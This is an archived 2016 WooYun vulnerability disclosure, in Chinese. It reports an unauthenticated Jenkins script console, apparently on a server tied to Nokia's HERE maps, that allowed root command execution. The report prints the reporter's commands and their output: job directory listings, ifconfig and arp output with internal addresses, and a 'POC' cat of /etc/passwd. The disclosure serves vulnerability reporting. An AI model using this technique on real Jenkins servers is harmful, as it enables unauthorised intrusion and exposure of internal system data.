破壳企业应急安全(防御方向)课程 应急响应 勒索病毒 挖矿木马 DDOS 日志分析

诺基亚旗下here地图国内某服务器第三方系统未授权访问(多项目源码泄露)导致命令执行

编号218182
Urlhttp://www.wooyun.org/bug.php?action=view&id=218182
漏洞状态漏洞已经通知厂商但是厂商忽略漏洞
漏洞标题诺基亚旗下here地图国内某服务器第三方系统未授权访问(多项目源码泄露)导致命令执行
漏洞类型命令执行
厂商诺基亚
白帽子路人甲
提交日期2016-06-11 12:08:00
公开日期2016-06-17 21:20:00
修复时间(not set)
确认时间0000-00-00 00:00:00
Confirm Spend-1
漏洞标签远程命令执行 未授权访问
关注数0
收藏数0
白帽评级
白帽自评rank20
厂商评级
厂商评rank0
漏洞简介
rt 上一个也是我提交的。。。
漏洞细节

mask 区域
1.http://**.**.**/_
**********
*****授权*****


直接来命令执行 root 权限
http://*.*.*.*:8089/computer/(master)/script

111.png


ls -al /home 看见一个here用户 怀疑是诺基亚的。

111.png


然后一翻代码果然是。。看下面
http://*.*.*.*:8089/job/MSP_China_Deployment_Check_F5_demo/lastSuccessfulBuild/artifact/MSP_China_Deployment_Check_F5/MSP_China_Deployment_Check_F5_Results.html

111.png


ls -al //var/lib/jenkins/jobs

196
drwxrwxrwx. 49 jenkins jenkins 4096 May 12 13:41 .
drwxr-xr-x. 13 jenkins jenkins 4096 Jun 2 10:17 ..
drwxrwxrwx. 3 root root 4096 Nov 13 2015 MSP_China_Deployment_Check_DMRQA_hcwang
drwxrwxrwx. 4 root root 4096 Nov 12 2015 MSP_China_Deployment_Check_F5
drwxrwxrwx. 4 root root 4096 Nov 12 2015 MSP_China_Deployment_Check_F51
drwxrwxrwx. 4 root root 4096 Nov 12 2015 MSP_China_Deployment_Check_F5_demo
drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Deployment_Check_Foreign
drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Deployment_Check_Integration
drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Deployment_Check_Version
drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Regression
drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Case_Debug
drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_CD03PRD
drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_CD03QA
drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_CD03STG
drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_CD04PRD
drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_CD04QA
drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_CD04STG
drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_CD05PRD
drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_CD05QA
drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_CD05STG
drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_CD06PRD
drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_CD06QA
drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_CD06STG
drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_CD07PRD
drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_CD07QA
drwxrwxrwx. 3 root root 4096 Nov 13 2015 MSP_China_Test_Deployment_Check_CD07STG
drwxrwxrwx. 3 root root 4096 May 12 16:20 MSP_China_Test_Deployment_Check_CD08PRD
drwxrwxrwx. 3 root root 4096 May 19 10:11 MSP_China_Test_Deployment_Check_CD08QA
drwxrwxrwx. 3 root root 4096 May 12 16:19 MSP_China_Test_Deployment_Check_CD08STG
drwxrwxrwx. 3 jenkins jenkins 4096 Jun 6 11:37 MSP_China_Test_Deployment_Check_CD09PRD
drwxrwxrwx. 3 jenkins jenkins 4096 Jun 3 08:51 MSP_China_Test_Deployment_Check_CD09QA
drwxrwxrwx. 3 jenkins jenkins 4096 Jun 1 10:48 MSP_China_Test_Deployment_Check_CD09STG
drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_legacy
drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_MC
drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_PRD
drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_QA
drwxrwxrwx. 5 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_STG
drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_Temp
drwxrwxrwx. 3 root root 4096 Jun 3 10:01 MSP_China_Test_Deployment_Check_Test
drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_Test12
drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_CHINA_TEST_INTEGRATION_GeoRgeo
drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_CHINA_TEST_INTEGRATION_MFS2
drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_CHINA_TEST_INTEGRATION_MIA
drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_TEST_REGRESSION_GEORGEO
drwxrwxrwx. 3 root root 4096 Nov 12 2015 THOR_China_Deployment_Check_PRD
drwxrwxrwx. 3 root root 4096 Nov 12 2015 THOR_China_Deployment_Check_STG
drwxrwxrwx. 3 root root 4096 Nov 12 2015 Thor_China_Test_Deployment_Check_dmrQA_LiRui
drwxrwxrwx. 3 root root 4096 Nov 12 2015 Thor_China_Test_Deployment_Check_DMR_QA_zyx
drwxrwxrwx. 3 root root 4096 Nov 12 2015 THOR_China_Test_Deployment_Check_SPS


ifconfig -a

eth0      Link encap:Ethernet  HWaddr 00:22:19:33:52:08  
inet addr:192.168.69.9 Bcast:192.168.69.255 Mask:255.255.255.0
inet6 addr: fe80::222:19ff:fe33:5208/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1383001 errors:0 dropped:0 overruns:0 frame:0
TX packets:427222150 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1175852374 (1.0 GiB) TX bytes:335780493196 (312.7 GiB)
Interrupt:17
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:18 errors:0 dropped:0 overruns:0 frame:0
TX packets:18 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:940 (940.0 b) TX bytes:940 (940.0 b)


arp -a
? (192.168.69.110) at 00:25:ab:72:b5:e9 [ether] on eth0
? (192.168.69.7) at b8:ac:6f:49:f0:eb [ether] on eth0
? (192.168.69.101) at 28:d2:44:cf:ac:bf [ether] on eth0
? (192.168.69.1) at 3c:46:d8:8e:0a:e1 [ether] on eth0
? (192.168.69.109) at e8:9a:8f:96:35:2c [ether] on eth0
? (192.168.69.105) at c4:34:6b:49:5d:7c [ether] on eth0

POC

cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
usbmuxd:x:113:113:usbmuxd user:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
rtkit:x:499:496:RealtimeKit:/proc:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
saslauth:x:498:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
ntp:x:38:38::/etc/ntp:/sbin/nologin
hsqldb:x:96:96::/var/lib/hsqldb:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
gdm:x:42:42::/var/lib/gdm:/sbin/nologin
pulse:x:497:495:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
nslcd:x:65:55:LDAP Client User:/:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
here:x:500:501:here:/home/here:/bin/bash
jenkins:x:496:491:Jenkins Continuous Build server:/var/lib/jenkins:/bin/false


? (192.168.69.110) at 00:25:ab:72:b5:e9 [ether] on eth0
? (192.168.69.7) at b8:ac:6f:49:f0:eb [ether] on eth0
? (192.168.69.101) at 28:d2:44:cf:ac:bf [ether] on eth0
? (192.168.69.1) at 3c:46:d8:8e:0a:e1 [ether] on eth0
? (192.168.69.109) at e8:9a:8f:96:35:2c [ether] on eth0
? (192.168.69.105) at c4:34:6b:49:5d:7c [ether] on eth0

修复方案

上一个也是我提交的。

状态信息 2016-06-11: 细节已通知厂商并且等待厂商处理中
2016-06-11: 厂商已查看当前漏洞内容,细节仅向厂商公开
2016-06-17: 厂商已经主动忽略漏洞,细节向公众公开
厂商回复None漏洞Rank:15 (WooYun评价)
回应信息危害等级:无影响厂商忽略忽略时间:2016-06-17 21:20
Showing 1-3 of 3 items.
评论内容评论人点赞数评论时间

jenkins?

偶然02016-06-11 16:46:00

@Fire ant 洞主已被诺基亚砸晕。

j14n02016-06-11 16:17:00

诺基亚不想和你说话并想你丢了一台N5630

Fire ant02016-06-11 14:29:00